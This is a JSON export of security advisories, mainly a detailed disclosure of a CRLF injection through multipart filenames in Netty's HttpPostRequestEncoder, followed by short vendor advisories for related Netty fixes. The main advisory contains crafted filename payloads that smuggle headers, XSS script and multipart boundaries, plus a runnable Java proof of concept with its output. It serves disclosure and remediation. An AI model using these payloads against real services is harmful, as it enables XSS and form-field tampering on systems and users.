`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e    \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          \u003c-- INJECTED\n  X-Injected: true\\r                                 \u003c-- INJECTED\n  \\r\n  \u003cscript\u003ealert(1)\u003c/script\u003e\\r                        \u003c-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i \u003c filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == '\"') {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8''encoded%20filename\nString encodedFilename = \"UTF-8''\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","status":"published","published":"2026-07-22T21:52:55Z","modified":"2026-09-10T03:50:52.172506654Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2026-09-10T03:49:58.76078733Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHLW-2026-99869c1cad4574fc","title":"Lightwell Security Advisory: netty-codec-http 4.1.100.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-http 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2024-29025, CVE-2025-58056, CVE-2025-67735, CVE-2026-33870, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-50020, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898, CVE-2026-59899, CVE-2026-59903, and CVE-2026-59921.\n\nCVE-2024-29025: Netty HttpPostRequestDecoder can OOM\n\nCVE-2025-58056: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions\n\nCVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder\n\nCVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing\n\nCVE-2026-41417: Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()\n\nCVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing\n\nCVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\nCVE-2026-42584: Netty: HttpClientCodec response desynchronization\n\nCVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding\n\nCVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS\n\nCVE-2026-50020: Netty's HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted\n\nCVE-2026-55831: Netty SPDY SETTINGS frame count materializes unbounded settings map\n\nCVE-2026-55833: Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation\n\nCVE-2026-56745: Netty SpdyHttpDecoder: ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion\n\nCVE-2026-56746: Netty has a Security Control Bypass via CORS Short-Circuit Failure\n\nCVE-2026-59898: Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation\n\nCVE-2026-59899: Netty HttpContentEncoder: Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service\n\nCVE-2026-59903: Netty: Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite\n\nCVE-2026-59921: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-http 4.1.100.Final from Maven Central.","status":"published","published":"2026-10-12T16:55:52Z","modified":"2026-10-27T04:13:04.170652348Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","title":"GHSA-xpw8-rcwv-8f8p in io.root.io.netty:netty-codec-http2 - Patched by Root","description":"Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-06-18T12:52:23Z","modified":"2026-06-18T18:15:26.175069727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2026-59921","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T23:17:00Z","modified":"2026-10-17T12:59:14.417845905Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"CLSA-2026-1787045999","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.135.Final-tuxcare.1.","status":"published","published":"2026-08-18T09:39:59Z","modified":"2026-10-15T09:46:22.118386744Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787049848","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.130.Final-tuxcare.3.","status":"published","published":"2026-08-18T10:44:08Z","modified":"2026-10-15T09:46:35.670728434Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787271464","title":"TuxCare security update for io.netty (59 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.","status":"published","published":"2026-08-21T00:17:44Z","modified":"2026-10-15T09:46:34.75643555Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787301097","title":"TuxCare security update for io.netty (60 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.","status":"published","published":"2026-08-21T08:31:37Z","modified":"2026-10-15T09:46:34.967537233Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787306632","title":"TuxCare security update for io.netty (41 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.","status":"published","published":"2026-08-21T10:03:52Z","modified":"2026-10-15T09:46:35.351743786Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309634","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.","status":"published","published":"2026-08-21T10:53:54Z","modified":"2026-10-15T09:46:34.370885626Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787331164","title":"TuxCare security update for io.netty (48 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.","status":"published","published":"2026-08-21T16:52:44Z","modified":"2026-10-15T09:47:25.558975504Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787333890","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.","status":"published","published":"2026-08-21T17:38:10Z","modified":"2026-10-15T09:47:25.399673043Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787383378","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.","status":"published","published":"2026-08-22T07:22:58Z","modified":"2026-10-15T09:47:25.582500226Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787397404","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.94.Final-tuxcare.1.","status":"published","published":"2026-08-22T11:16:44Z","modified":"2026-11-10T19:58:30.506519107Z","updated_at":"2026-11-10T20:07:15.512362Z"},{"id":"CLSA-2026-1789379074","title":"TuxCare security update for io.netty (22 CVEs)","description":"TuxCare rebuilt 46 io.netty packages to address 22 CVEs. Fixed in 4.1.79.Final-tuxcare.4.","status":"published","published":"2026-09-14T09:44:34Z","modified":"2026-10-15T09:47:43.074218723Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:11394-1","title":"netty-4.1.136-1.1 on GA media","description":"These are all security issues fixed in the netty-4.1.136-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-28T00:00:00Z","modified":"2026-07-29T18:24:26.986451317Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"SUSE-SU-2026:3482-1","title":"Security update for netty, netty-tcnative","description":"This update for netty, netty-tcnative fixes the following issues:\n\nUpgrade netty to upstream version 4.1.136 and netty-tcnative to version 2.0.80 Final.\n\nSecurity issues fixed\n\n- CVE-2026-44891: memory exhaustion in `io.netty:netty-codec-stomp` (bsc#1271435).\n- CVE-2026-55831: resource exhaustion/DoS in `io.netty:netty-codec-http` (bsc#1271960).\n- CVE-2026-55833: zip bomb in `io.netty:netty-codec-http` (bsc#1271961).\n- CVE-2026-55851: memory exhaustion in `io.netty:netty-codec-haproxy` (bsc#1272253).\n- CVE-2026-56745: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272254).\n- CVE-2026-56746: improper access control in `io.netty:netty-codec-http` (CORS) (bsc#1272255).\n- CVE-2026-56817: insecure defaults in XML parsing in `io.netty:netty-codec-xml` (bsc#1272257).\n- CVE-2026-56818: memory leak in `io.netty:netty-codec-redis` (bsc#1272603).\n- CVE-2026-56819: memory leak in `io.netty:netty-codec-http2` (bsc#1272258).\n- CVE-2026-56820: improper certificate validation in `io.netty:netty-handler-ssl-ocsp` (bsc#1272259).\n- CVE-2026-56821: improper certificate revocation check in `io.netty:netty-handler-ssl-ocsp` (bsc#1272299).\n- CVE-2026-56822: time-of-check/time-of-use in `io.netty:netty-handler-ssl-ocsp` (bsc#1272300).\n- CVE-2026-59898: protocol version confusion in `io.netty:netty-codec-http` (websocket) (bsc#1272302).\n- CVE-2026-59899: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272301).\n- CVE-2026-59900: improper header neutralization in `io.netty:netty-codec-http2` (bsc#1272303).\n- CVE-2026-59901: infinite loop in `io.netty:netty-codec-compression` (bzip2) (bsc#1272304).\n- CVE-2026-59919: improper CR/LF neutralization in `io.netty:netty-codec-haproxy` (bsc#1272305).\n- CVE-2026-59920: improper CR/LF neutrolization in `io.netty:netty-codec-stomp` (bsc#1272306).\n- CVE-2026-59921: improper CR/LF neutralization in `io.netty:netty-codec-http` (multipart) (bsc#1272307).\n- Memory leak in `io.netty:netty-codec-dns`  (bsc#1272519).\n- Uncontrolled resource consumption in `io.netty:netty-codec-xml` (bsc#1272518).\n\nOther updates and bugfixes:\n\n- Upgrade to upstream version 4.1.136:\n  + SingleThreadEventExecutor: document Throwable safety contract\n    on run()\n  + Make HTTP/2 frame hashCode consistent with equals\n  + Add BlockHound exception for DnsQueryIdSpace (#16896)\n  + FlowControlHandler: Fix autoRead behavior\n  + Fix incorrect bounds in error message of\n    HpackDecoder.setMaxHeaderListSize\n  + MQTT: Fix MQTT decoder size check after variable header replay\n  + MQTT: Make the decodeProperties early-REPLAY check actually\n    fire\n  + Reject control characters at the boundary of HTTP method names\n    (#16723)\n  + Update to latest tcnative release\n  + Fix HTTP 2 PUSH_PROMISE stream association validation\n  + Fix GZIP FEXTRA extra-field handling in JdkZlibDecoder\n  + Add opt-in validation of mandatory pseudo-header fields for\n    HTTP/2\n  + Strictly validate MQTT UTF-8 Encoded String (#16939)\n  + Stop DateFormatter trailing token from running past the parse\n    end\n  + IpFilter: Deprecate constructor which use accept by default\n  + Add RFC 10008 QUERY Method support (#16966)\n  + Correctly release and fail queued traffic-shaping writes on\n    close (#16959)\n  + FlowControlHandler: respect auto-read when toggled while\n    dequeueing\n  + IdleStateHandler: reset firstWriter/ReaderIdleEvent in\n    resetWriteTimeout/resetReadTimeout (#16982)\n  + Fix typo in AbstractSniHandler Javadoc\n  + Reconcile AbstractCoalescingBufferQueue readableBytes when it\n    drains, and fail stuck HTTP/2 streams instead of spinning\n    empty DATA frames\n  + Reject control characters at the boundary of the HTTP version\n    token (#16971)\n  + Reset UTF-8 decode state on CR in StompSubframeDecoder\n  + HTTP2: Pass the correct number of arguments when logging\n    goaway\n  + FastLz: Guard decompression against truncated input (#17000)\n  + Fix propagation of startTls for client SslContext handler\n  + Reject non-token characters in HTTP/2 header names\n  + Update lz4-java to 1.11.1\n  + Pin github actions to reduce risk (#17043)\n  + Merge branches from forks (#17063)\n","status":"published","published":"2026-08-04T11:46:42Z","modified":"2026-08-05T18:23:51.045558593Z","updated_at":"2026-11-02T15:54:04.987808Z"}]}}